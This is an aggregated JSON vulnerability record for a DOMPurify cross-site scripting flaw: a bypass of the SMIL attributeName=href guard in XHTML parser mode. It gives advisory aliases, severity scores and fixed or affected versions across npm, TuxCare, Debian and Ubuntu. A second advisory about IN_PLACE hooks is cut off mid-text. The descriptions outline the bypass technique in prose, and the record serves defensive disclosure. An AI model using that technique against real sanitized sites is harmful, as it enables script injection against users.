{"id":"CVE-2026-116802","aliases":["CLSA-2026-1792929243","CLSA-2026-1792929353","CLSA-2026-1792929570","CLSA-2026-1792929720","CLSA-2026-1792929831","CLSA-2026-1792929955","CLSA-2026-1792930059","CLSA-2026-1792930172","CLSA-2026-1792930279","CLSA-2026-1792930403","CLSA-2026-1792930526","CLSA-2026-1792930630","CLSA-2026-1792930723","CLSA-2026-1792930826","CLSA-2026-1792930930","CLSA-2026-1792931034","CLSA-2026-1792931144","CLSA-2026-1792931242","CLSA-2026-1792931347","CLSA-2026-1792931454","CLSA-2026-1792931555","CLSA-2026-1792931687","CLSA-2026-1792931792","CLSA-2026-1792931903","CLSA-2026-1792932016","CLSA-2026-1792932134","CLSA-2026-1792932246","CLSA-2026-1792932377","CLSA-2026-1792932499","CLSA-2026-1792932612","CLSA-2026-1792932735","CLSA-2026-1792932854","CLSA-2026-1792932980","CLSA-2026-1792933104","CLSA-2026-1792933241","CLSA-2026-1792933812","CLSA-2026-1792933945","CLSA-2026-1793100794","CLSA-2026-1793100979","CLSA-2026-1793101206","CLSA-2026-1793101291","CLSA-2026-1793101437","CLSA-2026-1793101539","CLSA-2026-1793101597","CLSA-2026-1793101871","CLSA-2026-1793101938","CLSA-2026-1793102041","CLSA-2026-1793102164","CLSA-2026-1793102424","CLSA-2026-1793130420","CLSA-2026-1793352238","DEBIAN-CVE-2026-116802","EUVD-2026-110510","GHSA-55q2-fjhq-7xh7","GHSA-6688-9rhm-gjv2","GHSA-c6gr-qvv4-5v3f","GHSA-g32m-chc6-3wqf","GHSA-mrv2-3pqr-j5jr","UBUNTU-CVE-2026-116802"],"status":"published","title":"DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00217,"percentile":0.12226,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693","CWE-79"],"published":"2026-10-22T16:24:23Z","modified":"2026-11-07T02:30:23Z","fixes":[{"ecosystem":"npm","package":"dompurify","fixed_in":["3.4.17"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"dompurify","fixed_in":["2.0.8-tuxcare.6","2.3.10-tuxcare.4","2.3.3-tuxcare.4","2.4.0-tuxcare.9","2.4.3-tuxcare.12","2.4.7-tuxcare.9","2.5.9-tuxcare.12","3.0.1-tuxcare.4","3.0.2-tuxcare.4","3.0.3-tuxcare.8","3.0.4-tuxcare.3","3.0.5-tuxcare.3","3.0.8-tuxcare.4","3.0.11-tuxcare.4","3.1.0-tuxcare.4","3.1.1-tuxcare.4","3.1.2-tuxcare.4","3.1.3-tuxcare.4","3.1.4-tuxcare.4","3.1.6-tuxcare.10","3.2.3-tuxcare.6","3.2.6-tuxcare.4","3.3.3-tuxcare.4","3.4.5-tuxcare.4","3.4.6-tuxcare.4","3.4.7-tuxcare.4","3.4.8-tuxcare.6","3.4.9-tuxcare.4","3.4.10-tuxcare.4","3.4.11-tuxcare.4","3.4.12-tuxcare.2","3.4.13-tuxcare.2","3.4.14-tuxcare.3","3.4.15-tuxcare.2","3.2.7-tuxcare.6","3.4.16-tuxcare.3","3.4.13-tuxcare.4"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-dompurify","fixed_in":["3.4.17+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.4.16"},{"fixed":"3.4.17"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.4.16"},{"fixed":"3.4.17"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.6-tuxcare.0"},{"fixed":"3.0.6-tuxcare.5"}]}],"versions":["3.0.6","3.0.6-tuxcare.1","3.0.6-tuxcare.2","3.0.6-tuxcare.3","3.0.6-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.8-tuxcare.0"},{"fixed":"2.0.8-tuxcare.6"}]}],"versions":["2.0.8","2.0.8-tuxcare.1","2.0.8-tuxcare.2","2.0.8-tuxcare.3","2.0.8-tuxcare.4","2.0.8-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.10-tuxcare.0"},{"fixed":"2.3.10-tuxcare.4"}]}],"versions":["2.3.10","2.3.10-tuxcare.1","2.3.10-tuxcare.2","2.3.10-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.3-tuxcare.0"},{"fixed":"2.3.3-tuxcare.4"}]}],"versions":["2.3.3","2.3.3-tuxcare.1","2.3.3-tuxcare.2","2.3.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0-tuxcare.0"},{"fixed":"2.4.0-tuxcare.9"}]}],"versions":["2.4.0","2.4.0-tuxcare.1","2.4.0-tuxcare.2","2.4.0-tuxcare.3","2.4.0-tuxcare.4","2.4.0-tuxcare.5","2.4.0-tuxcare.6","2.4.0-tuxcare.7","2.4.0-tuxcare.8"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.3-tuxcare.0"},{"fixed":"2.4.3-tuxcare.12"}]}],"versions":["2.4.3","2.4.3-tuxcare.1","2.4.3-tuxcare.10","2.4.3-tuxcare.11","2.4.3-tuxcare.2","2.4.3-tuxcare.3","2.4.3-tuxcare.4","2.4.3-tuxcare.5","2.4.3-tuxcare.6","2.4.3-tuxcare.7","2.4.3-tuxcare.8","2.4.3-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.7-tuxcare.0"},{"fixed":"2.4.7-tuxcare.9"}]}],"versions":["2.4.7","2.4.7-tuxcare.1","2.4.7-tuxcare.2","2.4.7-tuxcare.3","2.4.7-tuxcare.4","2.4.7-tuxcare.5","2.4.7-tuxcare.6","2.4.7-tuxcare.7","2.4.7-tuxcare.8"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.9-tuxcare.0"},{"fixed":"2.5.9-tuxcare.12"}]}],"versions":["2.5.9","2.5.9-tuxcare.1","2.5.9-tuxcare.10","2.5.9-tuxcare.11","2.5.9-tuxcare.2","2.5.9-tuxcare.3","2.5.9-tuxcare.4","2.5.9-tuxcare.5","2.5.9-tuxcare.6","2.5.9-tuxcare.7","2.5.9-tuxcare.8","2.5.9-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.1-tuxcare.0"},{"fixed":"3.0.1-tuxcare.4"}]}],"versions":["3.0.1","3.0.1-tuxcare.1","3.0.1-tuxcare.2","3.0.1-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.2-tuxcare.0"},{"fixed":"3.0.2-tuxcare.4"}]}],"versions":["3.0.2","3.0.2-tuxcare.1","3.0.2-tuxcare.2","3.0.2-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.8"}]}],"versions":["3.0.3","3.0.3-tuxcare.1","3.0.3-tuxcare.2","3.0.3-tuxcare.3","3.0.3-tuxcare.4","3.0.3-tuxcare.5","3.0.3-tuxcare.6","3.0.3-tuxcare.7"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-tuxcare.0"},{"fixed":"3.0.4-tuxcare.3"}]}],"versions":["3.0.4","3.0.4-tuxcare.1","3.0.4-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5-tuxcare.0"},{"fixed":"3.0.5-tuxcare.3"}]}],"versions":["3.0.5","3.0.5-tuxcare.1","3.0.5-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.8-tuxcare.0"},{"fixed":"3.0.8-tuxcare.4"}]}],"versions":["3.0.8","3.0.8-tuxcare.1","3.0.8-tuxcare.2","3.0.8-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.11-tuxcare.0"},{"fixed":"3.0.11-tuxcare.4"}]}],"versions":["3.0.11","3.0.11-tuxcare.1","3.0.11-tuxcare.2","3.0.11-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0-tuxcare.0"},{"fixed":"3.1.0-tuxcare.4"}]}],"versions":["3.1.0","3.1.0-tuxcare.1","3.1.0-tuxcare.2","3.1.0-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.1-tuxcare.0"},{"fixed":"3.1.1-tuxcare.4"}]}],"versions":["3.1.1","3.1.1-tuxcare.1","3.1.1-tuxcare.2","3.1.1-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.2-tuxcare.0"},{"fixed":"3.1.2-tuxcare.4"}]}],"versions":["3.1.2","3.1.2-tuxcare.1","3.1.2-tuxcare.2","3.1.2-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.3-tuxcare.0"},{"fixed":"3.1.3-tuxcare.4"}]}],"versions":["3.1.3","3.1.3-tuxcare.1","3.1.3-tuxcare.2","3.1.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.4-tuxcare.0"},{"fixed":"3.1.4-tuxcare.4"}]}],"versions":["3.1.4","3.1.4-tuxcare.1","3.1.4-tuxcare.2","3.1.4-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.6-tuxcare.0"},{"fixed":"3.1.6-tuxcare.10"}]}],"versions":["3.1.6","3.1.6-tuxcare.1","3.1.6-tuxcare.2","3.1.6-tuxcare.3","3.1.6-tuxcare.4","3.1.6-tuxcare.5","3.1.6-tuxcare.6","3.1.6-tuxcare.7","3.1.6-tuxcare.8","3.1.6-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.3-tuxcare.0"},{"fixed":"3.2.3-tuxcare.6"}]}],"versions":["3.2.3","3.2.3-tuxcare.1","3.2.3-tuxcare.2","3.2.3-tuxcare.3","3.2.3-tuxcare.4","3.2.3-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.6-tuxcare.0"},{"fixed":"3.2.6-tuxcare.4"}]}],"versions":["3.2.6","3.2.6-tuxcare.1","3.2.6-tuxcare.2","3.2.6-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.3-tuxcare.0"},{"fixed":"3.3.3-tuxcare.4"}]}],"versions":["3.3.3","3.3.3-tuxcare.1","3.3.3-tuxcare.2","3.3.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.5-tuxcare.0"},{"fixed":"3.4.5-tuxcare.4"}]}],"versions":["3.4.5","3.4.5-tuxcare.1","3.4.5-tuxcare.2","3.4.5-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.6-tuxcare.0"},{"fixed":"3.4.6-tuxcare.4"}]}],"versions":["3.4.6","3.4.6-tuxcare.1","3.4.6-tuxcare.2","3.4.6-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.7-tuxcare.0"},{"fixed":"3.4.7-tuxcare.4"}]}],"versions":["3.4.7","3.4.7-tuxcare.1","3.4.7-tuxcare.2","3.4.7-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.8-tuxcare.0"},{"fixed":"3.4.8-tuxcare.6"}]}],"versions":["3.4.8","3.4.8-tuxcare.1","3.4.8-tuxcare.2","3.4.8-tuxcare.3","3.4.8-tuxcare.4","3.4.8-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.9-tuxcare.0"},{"fixed":"3.4.9-tuxcare.4"}]}],"versions":["3.4.9","3.4.9-tuxcare.1","3.4.9-tuxcare.2","3.4.9-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.10-tuxcare.0"},{"fixed":"3.4.10-tuxcare.4"}]}],"versions":["3.4.10","3.4.10-tuxcare.1","3.4.10-tuxcare.2","3.4.10-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.11-tuxcare.0"},{"fixed":"3.4.11-tuxcare.4"}]}],"versions":["3.4.11","3.4.11-tuxcare.1","3.4.11-tuxcare.2","3.4.11-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12-tuxcare.0"},{"fixed":"3.4.12-tuxcare.2"}]}],"versions":["3.4.12","3.4.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.13-tuxcare.0"},{"fixed":"3.4.13-tuxcare.2"}]}],"versions":["3.4.13","3.4.13-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.14-tuxcare.0"},{"fixed":"3.4.14-tuxcare.3"}]}],"versions":["3.4.14","3.4.14-tuxcare.1","3.4.14-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.15-tuxcare.0"},{"fixed":"3.4.15-tuxcare.2"}]}],"versions":["3.4.15","3.4.15-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.7-tuxcare.0"},{"fixed":"3.2.7-tuxcare.6"}]}],"versions":["3.2.7","3.2.7-tuxcare.1","3.2.7-tuxcare.2","3.2.7-tuxcare.3","3.2.7-tuxcare.4","3.2.7-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0-tuxcare.0"},{"fixed":"3.4.0-tuxcare.1"}]}],"versions":["3.4.0"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.5-tuxcare.0"},{"fixed":"3.4.5-tuxcare.5"}]}],"versions":["3.4.5","3.4.5-tuxcare.1","3.4.5-tuxcare.2","3.4.5-tuxcare.3","3.4.5-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.8-tuxcare.0"},{"fixed":"3.4.8-tuxcare.7"}]}],"versions":["3.4.8","3.4.8-tuxcare.1","3.4.8-tuxcare.2","3.4.8-tuxcare.3","3.4.8-tuxcare.4","3.4.8-tuxcare.5","3.4.8-tuxcare.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.11-tuxcare.0"},{"fixed":"3.4.11-tuxcare.5"}]}],"versions":["3.4.11","3.4.11-tuxcare.1","3.4.11-tuxcare.2","3.4.11-tuxcare.3","3.4.11-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.6-tuxcare.0"},{"fixed":"3.4.6-tuxcare.5"}]}],"versions":["3.4.6","3.4.6-tuxcare.1","3.4.6-tuxcare.2","3.4.6-tuxcare.3","3.4.6-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.7-tuxcare.0"},{"fixed":"3.4.7-tuxcare.5"}]}],"versions":["3.4.7","3.4.7-tuxcare.1","3.4.7-tuxcare.2","3.4.7-tuxcare.3","3.4.7-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.14-tuxcare.0"},{"fixed":"3.4.14-tuxcare.4"}]}],"versions":["3.4.14","3.4.14-tuxcare.1","3.4.14-tuxcare.2","3.4.14-tuxcare.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.9-tuxcare.0"},{"fixed":"3.4.9-tuxcare.5"}]}],"versions":["3.4.9","3.4.9-tuxcare.1","3.4.9-tuxcare.2","3.4.9-tuxcare.3","3.4.9-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5-tuxcare.0"},{"fixed":"3.0.5-tuxcare.4"}]}],"versions":["3.0.5","3.0.5-tuxcare.1","3.0.5-tuxcare.2","3.0.5-tuxcare.3"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.10-tuxcare.0"},{"fixed":"3.4.10-tuxcare.5"}]}],"versions":["3.4.10","3.4.10-tuxcare.1","3.4.10-tuxcare.2","3.4.10-tuxcare.3","3.4.10-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-tuxcare.0"},{"fixed":"3.0.4-tuxcare.4"}]}],"versions":["3.0.4","3.0.4-tuxcare.1","3.0.4-tuxcare.2","3.0.4-tuxcare.3"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12-tuxcare.0"},{"fixed":"3.4.12-tuxcare.3"}]}],"versions":["3.4.12","3.4.12-tuxcare.1","3.4.12-tuxcare.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.15-tuxcare.0"},{"fixed":"3.4.15-tuxcare.3"}]}],"versions":["3.4.15","3.4.15-tuxcare.1","3.4.15-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.16-tuxcare.0"},{"fixed":"3.4.16-tuxcare.3"}]}],"versions":["3.4.16","3.4.16-tuxcare.1","3.4.16-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.13-tuxcare.0"},{"fixed":"3.4.13-tuxcare.4"}]}],"versions":["3.4.13","3.4.13-tuxcare.1","3.4.13-tuxcare.2","3.4.13-tuxcare.3"]},{"source":"osv","ecosystem":"Debian:12","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","2.4.1+dfsg+~2.4.0-2","2.4.1+dfsg+~2.4.0-2+deb12u1","3.0.9+dfsg+~3.0.5-1","3.1.6+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.17+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.17+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.17+dfsg-1"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.17"}]}]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.17"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0+dfsg-2","2.3.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","3.0.9+dfsg+~3.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.3+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.3.3+dfsg-1"]}],"products":[{"vendor":"cure53","product":"dompurify"}],"references":[{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/dompurify-before-3.4.17-xss-via-smil-attributename-guard-bypass-in-xhtml-mode","tags":["third-party-advisory","advisory","report"]},{"url":"https://github.com/cure53/DOMPurify/pull/1672","tags":["web"]},{"url":"https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575","tags":["web"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.17","tags":["web"]},{"url":"https://github.com/advisories/GHSA-c6gr-qvv4-5v3f"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116802","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g32m-chc6-3wqf"},{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116802.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-116802","tags":["advisory"]},{"url":"https://github.com/cure53/DOMPurify","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-116802","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-116802","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-116802","title":"DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-26T23:05:34.457Z","modified":"2026-11-05T17:01:28.196Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-05T18:54:20.702128Z"}],"euvd":[{"id":"EUVD-2026-110510","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-26T23:05:34Z","modified":"2026-11-05T17:01:28Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-05T18:00:57.218327Z"}],"ghsa":[{"id":"GHSA-g32m-chc6-3wqf","title":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to...","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-27T00:32:50Z","modified":"2026-10-27T00:32:59Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:14:27.349207Z"},{"id":"GHSA-mrv2-3pqr-j5jr","title":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","description":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `\u003cimg onerror\u003e` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `\u003cimg onload\u003e` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 